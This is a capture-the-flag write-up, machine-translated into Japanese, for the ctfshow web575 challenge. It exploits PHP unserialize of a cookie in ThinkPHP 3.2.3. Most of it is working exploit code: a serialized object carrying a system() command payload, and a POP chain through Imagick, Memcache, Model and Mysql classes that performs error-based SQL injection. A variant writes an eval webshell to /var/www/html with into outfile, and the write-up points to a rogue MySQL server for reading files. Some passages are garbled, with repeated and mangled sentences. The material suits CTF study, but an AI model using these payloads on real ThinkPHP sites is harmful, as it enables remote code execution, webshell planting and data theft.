web575
ソースコードを与えた
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
最初に気付くのは、前に述べたshow()関数がphpコードを実行できることです。だから私たちはそれを制御することしかできませ$user->username
ん。
rceの目的のために、私たちが入らない方がはるかに便利です。
クラスを直接構築し、それにid変数とusername変数の
ペイロードを与えることができます。
<?php
namespace Home\Controller{
class IndexController {
public $id='1'; //get传入的id也要相同
public $username='<?php system("cat /f*");?>';
}
}
namespace{
use Home\Controller\IndexController;
echo base64_encode(serialize(new IndexController()));
}
?>
もちろん、この方法に加えて、 thinkphp3.2.3
には逆シリアル化の脆弱性があることもわかっています。
このバグを再現するためだけに。
グローバル検索__destruct
では、このような制御可能なパラメータ呼び出しメソッドの存在を探します。
/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
次に、グローバルに検索しますfunction destroy(
ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
グローバル検索前の手順で渡したパラメーターは制御可能ですが、後ろに空の文字がスプライスされているfunction delete(
/ThinkPHP/Library/Think/Model.class.php
ことを確認しましょう。配列を割り当ててから空の文字列をスプライスすると、問題が発生します。$this->sessionName
$this->sessionName
<?php
$a=array('a'=>'123');
var_dump($a."456"); //string(8) "Array456"
幸い、後でdeleteが再度呼び出され、渡されたパラメーターは完全に制御可能です。
次に下に移動すると、deleteメソッドが呼び出されていることがわかり、それ$this->db
を制御できます。
次に、組み込みデータベースクラスのdelete()メソッドを呼び出すことができます。
これらのクラスはすべて、Driver.class.phpの下のDriverクラスを継承します。
内部にdeleteメソッドがあり、最後のsqlステートメントがdelete from$table
の後にスプライスされていることがわかりました。これ$table
は、parseTable関数によって処理され、$options['table']
制御$options['table']
可能です。
parseTable関数に焦点を当てる
テーブルが文字列の場合、コンマで区切られてマージされますが、これは実際には問題ではありません。返されるのは、'テーブルは文字列であり、コンマで区切られてマージされます。実際、それほど重要ではありません。リターンはまだ`tab sは文字列であり、コンマで区切られてマージされますが、大きな違いはありません。 ' options['table']`の値を返します。
最後に、sqlステートメントを実行するexecute関数を見てみましょう。
彼が最初に初期化を実行していることがわかります。これは、実際に
はデータベースへの接続に使用できる最初のポイントです。エラーインジェクションです。
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img=new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle=new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data = array();
protected $db = null;
protected $pk;
public function __construct(){
$this->db=new Mysql();
$this->pk='id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,concat(0x3a,database(),0x3a),1)#",
"where" => "1"
);
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'ctfshow', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306'
);
}
}
namespace{
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));
}
ただし、エラーインジェクションの許可は比較的低く、シェルを取得する場合は、トロイの木馬を作成する必要があります。したがって、スタックを開いた後、トロイの木馬という文を書くことができます。
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img=new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle=new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data = array();
protected $db = null;
protected $pk;
public function __construct(){
$this->db=new Mysql();
$this->pk='id';
$this->data[$this->pk] = array(
"table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
"where" => "1"
);
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, // 开启才能读取文件
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
);
protected $config = array(
"debug" => 1,
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'ctfshow', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306'
);
}
}
namespace{
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));
}
サーバーを制御して任意のデータベースに接続できるため、サーバーが接続するための悪意のあるmysqlデータベースを構築できることは前述しました。
スクリプトアドレスhttps://github.com/MorouU/rogue_mysql_server/blob/main/rogue_mysql_server.py
読み取るファイルとポートを変更します(3306は使用しないでください)
phpスクリプトのIP、ポート、ライブラリ名、およびその他の構成を変更しますスクリプト
の実行後、シリアル化された値を渡し、ファイルの内容を受け取るのを待ちます。